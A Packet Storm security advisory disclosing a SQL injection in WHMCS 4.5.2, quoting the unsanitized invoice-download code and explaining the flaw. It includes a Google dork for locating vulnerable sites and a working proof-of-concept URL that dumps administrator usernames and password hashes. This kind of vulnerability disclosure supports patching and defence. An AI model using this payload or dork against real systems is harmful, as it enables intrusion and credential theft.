accept no compromises

WHMCS 4.5.2 SQL Injection

WHMCS 4.5.2 SQL Injection
Posted May 14, 2013
Authored by Ahmed Aboul-Ela

WHMCS version 4.5.2 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 8649ff075f9dab84195c0f8a9259f9d2

WHMCS 4.5.2 SQL Injection

Change Mirror Download
# Title: WHMCS 4.x SQL Injection Vulnerability 
# Google Dork: intext:"Powered by WHMCompleteSolution" OR inurl:"submitticket.php‎"‎
# Author: Ahmed Aboul-Ela
# Contact: Ahmed.Aboul3la[at]gmail[dot]com
# Date: 14/5/2013
# Vendor: http://www.whmcs.com
# Version: 4.5.2 and perior versions should be affected too
# Tested on: Linux

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sql Injection Vulnerability in "/includes/invoicefunctions.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- Vulnerable Code Snippet :

LINE 582: function pdfInvoice($id)
LINE 583: {
LINE 686: if ($CONFIG['GroupSimilarLineItems'])
LINE 687: {
LINE 688: $result = full_query('' . 'SELECT COUNT(*),id,type,relid,description,amount,taxed FROM tblinvoiceitems WHERE invoiceid=' . $id . ' GROUP BY `description`,`amount` ORDER BY id ASC');
LINE 689: }

As we can see here the $id argument of pdfInvoice function have been used directly at mysql query without any sanitization which leads directly to Sql Injection
It appears that pdfInvoice function is being called at "/dl.php" file as the following:


LINE 21: if ($type == 'i')
LINE 22: {
LINE 23: $result = select_query('tblinvoices', '', array(
LINE 24: 'id' => $id
LINE 25: ));
LINE 26: $data = mysql_fetch_array($result);
LINE 27: $invoiceid = $data['id'];
LINE 28: $invoicenum = $data['invoicenum'];
LINE 29: $userid = $data['userid'];
LINE 30: if ((!$_SESSION['adminid'] && $_SESSION['uid'] != $userid))
LINE 31: {
LINE 32: downloadLogin();
LINE 33: }
LINE 34: if (!$invoicenum)
LINE 35: {
LINE 36: $invoicenum = $invoiceid;
LINE 37: }
LINE 38: require('includes/clientfunctions.php');
LINE 39: require('includes/countries.php');
LINE 40: require('includes/invoicefunctions.php');
LINE 41: require('includes/tcpdf.php');
LINE 42: $pdfdata = pdfInvoice($id);
LINE 43: header('Pragma: public');
LINE 44: header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
LINE 45: header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
LINE 46: header('Cache-Control: must-revalidate, post-check=0, pre-check=0, private');
LINE 47: header('Cache-Control: private', false);
LINE 48: header('Content-Type: application/octet-stream');
LINE 49: header('Content-Disposition: attachment; filename="' . $invoicenum . '.pdf"');
LINE 50: header('Content-Transfer-Encoding: binary');
LINE 51: echo $pdfdata;
LINE 52: exit();
LINE 53: return 1;
LINE 54: }


As we can see at LINE "42" the pdfInvoice function have been called and passed $id Variable without any sanitization
Afterwards it force the browser to download the generated invoice in PDF format

- Proof of Concept for Exploitation

To Dump Administrator Credentials (user & pass):

http://www.site.com/whmcs/dl.php?type=i&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins --

~ Result: The Browser will prompt download for the pdf invoice file after opening it you should find the username and pw hash there :)

- Precondition to Successfully Exploit the Vulnerability:

"Group Similar Line Items" Option should be Enabled at the Invoices Settings in the WHMCS Admin ( It should be Enabled by default )

- Credits:

Ahmed Aboul-Ela - Information Security Consultant @ Starware Group

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    5 Files
  • 2
    Sep 2nd
    5 Files
  • 3
    Sep 3rd
    3 Files
  • 4
    Sep 4th
    13 Files
  • 5
    Sep 5th
    16 Files
  • 6
    Sep 6th
    15 Files
  • 7
    Sep 7th
    20 Files
  • 8
    Sep 8th
    16 Files
  • 9
    Sep 9th
    4 Files
  • 10
    Sep 10th
    2 Files
  • 11
    Sep 11th
    15 Files
  • 12
    Sep 12th
    19 Files
  • 13
    Sep 13th
    20 Files
  • 14
    Sep 14th
    38 Files
  • 15
    Sep 15th
    31 Files
  • 16
    Sep 16th
    1 Files
  • 17
    Sep 17th
    7 Files
  • 18
    Sep 18th
    15 Files
  • 19
    Sep 19th
    3 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close